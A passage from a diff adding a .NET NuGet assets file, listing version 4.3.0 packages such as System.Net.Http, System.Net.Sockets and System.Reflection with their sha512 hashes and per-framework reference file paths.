"ref/netstandard1.3/ru/System.Linq.Expressions.xml", + "ref/netstandard1.3/zh-hans/System.Linq.Expressions.xml", + "ref/netstandard1.3/zh-hant/System.Linq.Expressions.xml", + "ref/netstandard1.6/System.Linq.Expressions.dll", + "ref/netstandard1.6/System.Linq.Expressions.xml", + "ref/netstandard1.6/de/System.Linq.Expressions.xml", + "ref/netstandard1.6/es/System.Linq.Expressions.xml", + "ref/netstandard1.6/fr/System.Linq.Expressions.xml", + "ref/netstandard1.6/it/System.Linq.Expressions.xml", + "ref/netstandard1.6/ja/System.Linq.Expressions.xml", + "ref/netstandard1.6/ko/System.Linq.Expressions.xml", + "ref/netstandard1.6/ru/System.Linq.Expressions.xml", + "ref/netstandard1.6/zh-hans/System.Linq.Expressions.xml", + "ref/netstandard1.6/zh-hant/System.Linq.Expressions.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/aot/lib/netcore50/System.Linq.Expressions.dll", + "system.linq.expressions.4.3.0.nupkg.sha512", + "system.linq.expressions.nuspec" + ] + }, + "System.Net.Http/4.3.0": { + "sha512": "sYg+FtILtRQuYWSIAuNOELwVuVsxVyJGWQyOnlAzhV4xvhyFnON1bAzYYC+jjRW8JREM45R0R5Dgi8MTC5sEwA==", + "type": "package", + "path": "system.net.http/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/Xamarinmac20/_._", + "lib/monoandroid10/_._", + "lib/monotouch10/_._", + "lib/net45/_._", + "lib/net46/System.Net.Http.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/Xamarinmac20/_._", + "ref/monoandroid10/_._", + "ref/monotouch10/_._", + "ref/net45/_._", + "ref/net46/System.Net.Http.dll", + "ref/net46/System.Net.Http.xml", + "ref/net46/de/System.Net.Http.xml", + "ref/net46/es/System.Net.Http.xml", + "ref/net46/fr/System.Net.Http.xml", + "ref/net46/it/System.Net.Http.xml", + "ref/net46/ja/System.Net.Http.xml", + "ref/net46/ko/System.Net.Http.xml", + "ref/net46/ru/System.Net.Http.xml", + "ref/net46/zh-hans/System.Net.Http.xml", + "ref/net46/zh-hant/System.Net.Http.xml", + "ref/netcore50/System.Net.Http.dll", + "ref/netcore50/System.Net.Http.xml", + "ref/netcore50/de/System.Net.Http.xml", + "ref/netcore50/es/System.Net.Http.xml", + "ref/netcore50/fr/System.Net.Http.xml", + "ref/netcore50/it/System.Net.Http.xml", + "ref/netcore50/ja/System.Net.Http.xml", + "ref/netcore50/ko/System.Net.Http.xml", + "ref/netcore50/ru/System.Net.Http.xml", + "ref/netcore50/zh-hans/System.Net.Http.xml", + "ref/netcore50/zh-hant/System.Net.Http.xml", + "ref/netstandard1.1/System.Net.Http.dll", + "ref/netstandard1.1/System.Net.Http.xml", + "ref/netstandard1.1/de/System.Net.Http.xml", + "ref/netstandard1.1/es/System.Net.Http.xml", + "ref/netstandard1.1/fr/System.Net.Http.xml", + "ref/netstandard1.1/it/System.Net.Http.xml", + "ref/netstandard1.1/ja/System.Net.Http.xml", + "ref/netstandard1.1/ko/System.Net.Http.xml", + "ref/netstandard1.1/ru/System.Net.Http.xml", + "ref/netstandard1.1/zh-hans/System.Net.Http.xml", + "ref/netstandard1.1/zh-hant/System.Net.Http.xml", + "ref/netstandard1.3/System.Net.Http.dll", + "ref/netstandard1.3/System.Net.Http.xml", + "ref/netstandard1.3/de/System.Net.Http.xml", + "ref/netstandard1.3/es/System.Net.Http.xml", + "ref/netstandard1.3/fr/System.Net.Http.xml", + "ref/netstandard1.3/it/System.Net.Http.xml", + "ref/netstandard1.3/ja/System.Net.Http.xml", + "ref/netstandard1.3/ko/System.Net.Http.xml", + "ref/netstandard1.3/ru/System.Net.Http.xml", + "ref/netstandard1.3/zh-hans/System.Net.Http.xml", + "ref/netstandard1.3/zh-hant/System.Net.Http.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/unix/lib/netstandard1.6/System.Net.Http.dll", + "runtimes/win/lib/net46/System.Net.Http.dll", + "runtimes/win/lib/netcore50/System.Net.Http.dll", + "runtimes/win/lib/netstandard1.3/System.Net.Http.dll", + "system.net.http.4.3.0.nupkg.sha512", + "system.net.http.nuspec" + ] + }, + "System.Net.Primitives/4.3.0": { + "sha512": "qOu+hDwFwoZPbzPvwut2qATe3ygjeQBDQj91xlsaqGFQUI5i4ZnZb8yyQuLGpDGivEPIt8EJkd1BVzVoP31FXA==", + "type": "package", + "path": "system.net.primitives/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Net.Primitives.dll", + "ref/netcore50/System.Net.Primitives.xml", + "ref/netcore50/de/System.Net.Primitives.xml", + "ref/netcore50/es/System.Net.Primitives.xml", + "ref/netcore50/fr/System.Net.Primitives.xml", + "ref/netcore50/it/System.Net.Primitives.xml", + "ref/netcore50/ja/System.Net.Primitives.xml", + "ref/netcore50/ko/System.Net.Primitives.xml", + "ref/netcore50/ru/System.Net.Primitives.xml", + "ref/netcore50/zh-hans/System.Net.Primitives.xml", + "ref/netcore50/zh-hant/System.Net.Primitives.xml", + "ref/netstandard1.0/System.Net.Primitives.dll", + "ref/netstandard1.0/System.Net.Primitives.xml", + "ref/netstandard1.0/de/System.Net.Primitives.xml", + "ref/netstandard1.0/es/System.Net.Primitives.xml", + "ref/netstandard1.0/fr/System.Net.Primitives.xml", + "ref/netstandard1.0/it/System.Net.Primitives.xml", + "ref/netstandard1.0/ja/System.Net.Primitives.xml", + "ref/netstandard1.0/ko/System.Net.Primitives.xml", + "ref/netstandard1.0/ru/System.Net.Primitives.xml", + "ref/netstandard1.0/zh-hans/System.Net.Primitives.xml", + "ref/netstandard1.0/zh-hant/System.Net.Primitives.xml", + "ref/netstandard1.1/System.Net.Primitives.dll", + "ref/netstandard1.1/System.Net.Primitives.xml", + "ref/netstandard1.1/de/System.Net.Primitives.xml", + "ref/netstandard1.1/es/System.Net.Primitives.xml", + "ref/netstandard1.1/fr/System.Net.Primitives.xml", + "ref/netstandard1.1/it/System.Net.Primitives.xml", + "ref/netstandard1.1/ja/System.Net.Primitives.xml", + "ref/netstandard1.1/ko/System.Net.Primitives.xml", + "ref/netstandard1.1/ru/System.Net.Primitives.xml", + "ref/netstandard1.1/zh-hans/System.Net.Primitives.xml", + "ref/netstandard1.1/zh-hant/System.Net.Primitives.xml", + "ref/netstandard1.3/System.Net.Primitives.dll", + "ref/netstandard1.3/System.Net.Primitives.xml", + "ref/netstandard1.3/de/System.Net.Primitives.xml", + "ref/netstandard1.3/es/System.Net.Primitives.xml", + "ref/netstandard1.3/fr/System.Net.Primitives.xml", + "ref/netstandard1.3/it/System.Net.Primitives.xml", + "ref/netstandard1.3/ja/System.Net.Primitives.xml", + "ref/netstandard1.3/ko/System.Net.Primitives.xml", + "ref/netstandard1.3/ru/System.Net.Primitives.xml", + "ref/netstandard1.3/zh-hans/System.Net.Primitives.xml", + "ref/netstandard1.3/zh-hant/System.Net.Primitives.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.net.primitives.4.3.0.nupkg.sha512", + "system.net.primitives.nuspec" + ] + }, + "System.Net.Sockets/4.3.0": { + "sha512": "m6icV6TqQOAdgt5N/9I5KNpjom/5NFtkmGseEH+AK/hny8XrytLH3+b5M8zL/Ycg3fhIocFpUMyl/wpFnVRvdw==", + "type": "package", + "path": "system.net.sockets/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Net.Sockets.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Net.Sockets.dll", + "ref/netstandard1.3/System.Net.Sockets.dll", + "ref/netstandard1.3/System.Net.Sockets.xml", + "ref/netstandard1.3/de/System.Net.Sockets.xml", + "ref/netstandard1.3/es/System.Net.Sockets.xml", + "ref/netstandard1.3/fr/System.Net.Sockets.xml", + "ref/netstandard1.3/it/System.Net.Sockets.xml", + "ref/netstandard1.3/ja/System.Net.Sockets.xml", + "ref/netstandard1.3/ko/System.Net.Sockets.xml", + "ref/netstandard1.3/ru/System.Net.Sockets.xml", + "ref/netstandard1.3/zh-hans/System.Net.Sockets.xml", + "ref/netstandard1.3/zh-hant/System.Net.Sockets.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.net.sockets.4.3.0.nupkg.sha512", + "system.net.sockets.nuspec" + ] + }, + "System.ObjectModel/4.3.0": { + "sha512": "bdX+80eKv9bN6K4N+d77OankKHGn6CH711a6fcOpMQu2Fckp/Ft4L/kW9WznHpyR0NRAvJutzOMHNNlBGvxQzQ==", + "type": "package", + "path": "system.objectmodel/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.ObjectModel.dll", + "lib/netstandard1.3/System.ObjectModel.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.ObjectModel.dll", + "ref/netcore50/System.ObjectModel.xml", + "ref/netcore50/de/System.ObjectModel.xml", + "ref/netcore50/es/System.ObjectModel.xml", + "ref/netcore50/fr/System.ObjectModel.xml", + "ref/netcore50/it/System.ObjectModel.xml", + "ref/netcore50/ja/System.ObjectModel.xml", + "ref/netcore50/ko/System.ObjectModel.xml", + "ref/netcore50/ru/System.ObjectModel.xml", + "ref/netcore50/zh-hans/System.ObjectModel.xml", + "ref/netcore50/zh-hant/System.ObjectModel.xml", + "ref/netstandard1.0/System.ObjectModel.dll", + "ref/netstandard1.0/System.ObjectModel.xml", + "ref/netstandard1.0/de/System.ObjectModel.xml", + "ref/netstandard1.0/es/System.ObjectModel.xml", + "ref/netstandard1.0/fr/System.ObjectModel.xml", + "ref/netstandard1.0/it/System.ObjectModel.xml", + "ref/netstandard1.0/ja/System.ObjectModel.xml", + "ref/netstandard1.0/ko/System.ObjectModel.xml", + "ref/netstandard1.0/ru/System.ObjectModel.xml", + "ref/netstandard1.0/zh-hans/System.ObjectModel.xml", + "ref/netstandard1.0/zh-hant/System.ObjectModel.xml", + "ref/netstandard1.3/System.ObjectModel.dll", + "ref/netstandard1.3/System.ObjectModel.xml", + "ref/netstandard1.3/de/System.ObjectModel.xml", + "ref/netstandard1.3/es/System.ObjectModel.xml", + "ref/netstandard1.3/fr/System.ObjectModel.xml", + "ref/netstandard1.3/it/System.ObjectModel.xml", + "ref/netstandard1.3/ja/System.ObjectModel.xml", + "ref/netstandard1.3/ko/System.ObjectModel.xml", + "ref/netstandard1.3/ru/System.ObjectModel.xml", + "ref/netstandard1.3/zh-hans/System.ObjectModel.xml", + "ref/netstandard1.3/zh-hant/System.ObjectModel.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.objectmodel.4.3.0.nupkg.sha512", + "system.objectmodel.nuspec" + ] + }, + "System.Reflection/4.3.0": { + "sha512": "KMiAFoW7MfJGa9nDFNcfu+FpEdiHpWgTcS2HdMpDvt9saK3y/G4GwprPyzqjFH9NTaGPQeWNHU+iDlDILj96aQ==", + "type": "package", + "path": "system.reflection/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.Reflection.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.Reflection.dll", + "ref/netcore50/System.Reflection.dll", + "ref/netcore50/System.Reflection.xml", + "ref/netcore50/de/System.Reflection.xml", + "ref/netcore50/es/System.Reflection.xml", + "ref/netcore50/fr/System.Reflection.xml", + "ref/netcore50/it/System.Reflection.xml", + "ref/netcore50/ja/System.Reflection.xml", + "ref/netcore50/ko/System.Reflection.xml", + "ref/netcore50/ru/System.Reflection.xml", + "ref/netcore50/zh-hans/System.Reflection.xml", + "ref/netcore50/zh-hant/System.Reflection.xml", + "ref/netstandard1.0/System.Reflection.dll", + "ref/netstandard1.0/System.Reflection.xml", + "ref/netstandard1.0/de/System.Reflection.xml", + "ref/netstandard1.0/es/System.Reflection.xml", + "ref/netstandard1.0/fr/System.Reflection.xml", + "ref/netstandard1.0/it/System.Reflection.xml", + "ref/netstandard1.0/ja/System.Reflection.xml", + "ref/netstandard1.0/ko/System.Reflection.xml", + "ref/netstandard1.0/ru/System.Reflection.xml", + "ref/netstandard1.0/zh-hans/System.Reflection.xml", + "ref/netstandard1.0/zh-hant/System.Reflection.xml", + "ref/netstandard1.3/System.Reflection.dll", + "ref/netstandard1.3/System.Reflection.xml", + "ref/netstandard1.3/de/System.Reflection.xml", + "ref/netstandard1.3/es/System.Reflection.xml", + "ref/netstandard1.3/fr/System.Reflection.xml", + "ref/netstandard1.3/it/System.Reflection.xml", + "ref/netstandard1.3/ja/System.Reflection.xml", + "ref/netstandard1.3/ko/System.Reflection.xml", + "ref/netstandard1.3/ru/System.Reflection.xml", + "ref/netstandard1.3/zh-hans/System.Reflection.xml", + "ref/netstandard1.3/zh-hant/System.Reflection.xml", + "ref/netstandard1.5/System.Reflection.dll", + "ref/netstandard1.5/System.Reflection.xml", + "ref/netstandard1.5/de/System.Reflection.xml", + "ref/netstandard1.5/es/System.Reflection.xml", + "ref/netstandard1.5/fr/System.Reflection.xml", + "ref/netstandard1.5/it/System.Reflection.xml", + "ref/netstandard1.5/ja/System.Reflection.xml", + "ref/netstandard1.5/ko/System.Reflection.xml", + "ref/netstandard1.5/ru/System.Reflection.xml", + "ref/netstandard1.5/zh-hans/System.Reflection.xml", + "ref/netstandard1.5/zh-hant/System.Reflection.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.reflection.4.3.0.nupkg.sha512", + "system.reflection.nuspec" + ] + }, + "System.Reflection.Emit/4.3.0": { + "sha512": "228FG0jLcIwTVJyz8CLFKueVqQK36ANazUManGaJHkO0icjiIypKW7YLWLIWahyIkdh5M7mV2dJepllLyA1SKg==", + "type": "package", + "path": "system.reflection.emit/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/monotouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.Reflection.Emit.dll", + "lib/netstandard1.3/System.Reflection.Emit.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/net45/_._", + "ref/netstandard1.1/System.Reflection.Emit.dll", + "ref/netstandard1.1/System.Reflection.Emit.xml", + "ref/netstandard1.1/de/System.Reflection.Emit.xml", + "ref/netstandard1.1/es/System.Reflection.Emit.xml", + "ref/netstandard1.1/fr/System.Reflection.Emit.xml", + "ref/netstandard1.1/it/System.Reflection.Emit.xml", + "ref/netstandard1.1/ja/System.Reflection.Emit.xml", + "ref/netstandard1.1/ko/System.Reflection.Emit.xml", + "ref/netstandard1.1/ru/System.Reflection.Emit.xml", + "ref/netstandard1.1/zh-hans/System.Reflection.Emit.xml", + "ref/netstandard1.1/zh-hant/System.Reflection.Emit.xml", + "ref/xamarinmac20/_._", + "system.reflection.emit.4.3.0.nupkg.sha512", + "system.reflection.emit.nuspec" + ] + }, + "System.Reflection.Emit.ILGeneration/4.3.0": { + "sha512": "59tBslAk9733NXLrUJrwNZEzbMAcu8k344OYo+wfSVygcgZ9lgBdGIzH/nrg3LYhXceynyvTc8t5/GD4Ri0/ng==", + "type": "package", + "path": "system.reflection.emit.ilgeneration/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.Reflection.Emit.ILGeneration.dll", + "lib/netstandard1.3/System.Reflection.Emit.ILGeneration.dll", + "lib/portable-net45+wp8/_._", + "lib/wp80/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netstandard1.0/System.Reflection.Emit.ILGeneration.dll", + "ref/netstandard1.0/System.Reflection.Emit.ILGeneration.xml", + "ref/netstandard1.0/de/System.Reflection.Emit.ILGeneration.xml", + "ref/netstandard1.0/es/System.Reflection.Emit.ILGeneration.xml", + "ref/netstandard1.0/fr/System.Reflection.Emit.ILGeneration.xml", + "ref/netstandard1.0/it/System.Reflection.Emit.ILGeneration.xml", + "ref/netstandard1.0/ja/System.Reflection.Emit.ILGeneration.xml", + "ref/netstandard1.0/ko/System.Reflection.Emit.ILGeneration.xml", + "ref/netstandard1.0/ru/System.Reflection.Emit.ILGeneration.xml", + "ref/netstandard1.0/zh-hans/System.Reflection.Emit.ILGeneration.xml", + "ref/netstandard1.0/zh-hant/System.Reflection.Emit.ILGeneration.xml", + "ref/portable-net45+wp8/_._", + "ref/wp80/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/aot/lib/netcore50/_._", + "system.reflection.emit.ilgeneration.4.3.0.nupkg.sha512", + "system.reflection.emit.ilgeneration.nuspec" + ] + }, + "System.Reflection.Emit.Lightweight/4.3.0": { + "sha512": "oadVHGSMsTmZsAF864QYN1t1QzZjIcuKU3l2S9cZOwDdDueNTrqq1yRj7koFfIGEnKpt6NjpL3rOzRhs4ryOgA==", + "type": "package", + "path": "system.reflection.emit.lightweight/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.Reflection.Emit.Lightweight.dll", + "lib/netstandard1.3/System.Reflection.Emit.Lightweight.dll", + "lib/portable-net45+wp8/_._", + "lib/wp80/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netstandard1.0/System.Reflection.Emit.Lightweight.dll", + "ref/netstandard1.0/System.Reflection.Emit.Lightweight.xml", + "ref/netstandard1.0/de/System.Reflection.Emit.Lightweight.xml", + "ref/netstandard1.0/es/System.Reflection.Emit.Lightweight.xml", + "ref/netstandard1.0/fr/System.Reflection.Emit.Lightweight.xml", + "ref/netstandard1.0/it/System.Reflection.Emit.Lightweight.xml", + "ref/netstandard1.0/ja/System.Reflection.Emit.Lightweight.xml", + "ref/netstandard1.0/ko/System.Reflection.Emit.Lightweight.xml", + "ref/netstandard1.0/ru/System.Reflection.Emit.Lightweight.xml", + "ref/netstandard1.0/zh-hans/System.Reflection.Emit.Lightweight.xml", + "ref/netstandard1.0/zh-hant/System.Reflection.Emit.Lightweight.xml", + "ref/portable-net45+wp8/_._", + "ref/wp80/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/aot/lib/netcore50/_._", + "system.reflection.emit.lightweight.4.3.0.nupkg.sha512", + "system.reflection.emit.lightweight.nuspec" + ] + }, + "System.Reflection.Extensions/4.3.0": { + "sha512": "rJkrJD3kBI5B712aRu4DpSIiHRtr6QlfZSQsb0hYHrDCZORXCFjQfoipo2LaMUHoT9i1B7j7MnfaEKWDFmFQNQ==", + "type": "package", + "path": "system.reflection.extensions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Reflection.Extensions.dll", + "ref/netcore50/System.Reflection.Extensions.xml", + "ref/netcore50/de/System.Reflection.Extensions.xml", + "ref/netcore50/es/System.Reflection.Extensions.xml", + "ref/netcore50/fr/System.Reflection.Extensions.xml", + "ref/netcore50/it/System.Reflection.Extensions.xml", + "ref/netcore50/ja/System.Reflection.Extensions.xml", + "ref/netcore50/ko/System.Reflection.Extensions.xml", + "ref/netcore50/ru/System.Reflection.Extensions.xml", + "ref/netcore50/zh-hans/System.Reflection.Extensions.xml", + "ref/netcore50/zh-hant/System.Reflection.Extensions.xml", + "ref/netstandard1.0/System.Reflection.Extensions.dll", + "ref/netstandard1.0/System.Reflection.Extensions.xml", + "ref/netstandard1.0/de/System.Reflection.Extensions.xml", + "ref/netstandard1.0/es/System.Reflection.Extensions.xml", + "ref/netstandard1.0/fr/System.Reflection.Extensions.xml", + "ref/netstandard1.0/it/System.Reflection.Extensions.xml", + "ref/netstandard1.0/ja/System.Reflection.Extensions.xml", + "ref/netstandard1.0/ko/System.Reflection.Extensions.xml", + "ref/netstandard1.0/ru/System.Reflection.Extensions.xml", + "ref/netstandard1.0/zh-hans/System.Reflection.Extensions.xml", + "ref/netstandard1.0/zh-hant/System.Reflection.Extensions.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.reflection.extensions.4.3.0.nupkg.sha512", + "system.reflection.extensions.nuspec" + ] + }, + "System.Reflection.Primitives/4.3.0": { + "sha512": "5RXItQz5As4xN2/YUDxdpsEkMhvw3e6aNveFXUn4Hl/udNTCNhnKp8lT9fnc3MhvGKh1baak5CovpuQUXHAlIA==", + "type": "package", + "path": "system.reflection.primitives/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Reflection.Primitives.dll", + "ref/netcore50/System.Reflection.Primitives.xml", + "ref/netcore50/de/System.Reflection.Primitives.xml", + "ref/netcore50/es/System.Reflection.Primitives.xml", + "ref/netcore50/fr/System.Reflection.Primitives.xml", + "ref/netcore50/it/System.Reflection.Primitives.xml", + "ref/netcore50/ja/System.Reflection.Primitives.xml", + "ref/netcore50/ko/System.Reflection.Primitives.xml", + "ref/netcore50/ru/System.Reflection.Primitives.xml", + "ref/netcore50/zh-hans/System.Reflection.Primitives.xml", + "ref/netcore50/zh-hant/System.Reflection.Primitives.xml", + "ref/netstandard1.0/System.Reflection.Primitives.dll", + "ref/netstandard1.0/System.Reflection.Primitives.xml", + "ref/netstandard1.0/de/System.Reflection.Primitives.xml", + "ref/netstandard1.0/es/System.Reflection.Primitives.xml", + "ref/netstandard1.0/fr/System.Reflection.Primitives.xml", + "ref/netstandard1.0/it/System.Reflection.Primitives.xml", + "ref/netstandard1.0/ja/System.Reflection.Primitives.xml", + "ref/netstandard1.0/ko/System.Reflection.Primitives.xml", + "ref/netstandard1.0/ru/System.Reflection.Primitives.xml", + "ref/netstandard1.0/zh-hans/System.Reflection.Primitives.xml", + "ref/netstandard1.0/zh-hant/System.Reflection.Primitives.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.reflection.primitives.4.3.0.nupkg.sha512", + "system.reflection.primitives.nuspec" + ] + }, + "System.Reflection.TypeExtensions/4.3.0": { + "sha512": "7u6ulLcZbyxB5Gq0nMkQttcdBTx57ibzw+4IOXEfR+sXYQoHvjW5LTLyNr8O22UIMrqYbchJQJnos4eooYzYJA==", + "type": "package", + "path": "system.reflection.typeextensions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Reflection.TypeExtensions.dll", + "lib/net462/System.Reflection.TypeExtensions.dll", + "lib/netcore50/System.Reflection.TypeExtensions.dll", + "lib/netstandard1.5/System.Reflection.TypeExtensions.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Reflection.TypeExtensions.dll", + "ref/net462/System.Reflection.TypeExtensions.dll", + "ref/netstandard1.3/System.Reflection.TypeExtensions.dll", + "ref/netstandard1.3/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.3/de/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.3/es/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.3/fr/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.3/it/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.3/ja/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.3/ko/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.3/ru/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.3/zh-hans/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.3/zh-hant/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.5/System.Reflection.TypeExtensions.dll", + "ref/netstandard1.5/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.5/de/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.5/es/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.5/fr/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.5/it/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.5/ja/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.5/ko/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.5/ru/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.5/zh-hans/System.Reflection.TypeExtensions.xml", + "ref/netstandard1.5/zh-hant/System.Reflection.TypeExtensions.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/aot/lib/netcore50/System.Reflection.TypeExtensions.dll", + "system.reflection.typeextensions.4.3.0.nupkg.sha512", + "system.reflection.typeextensions.nuspec" + ] + }, + "System.Resources.ResourceManager/4.3.0": { + "sha512": 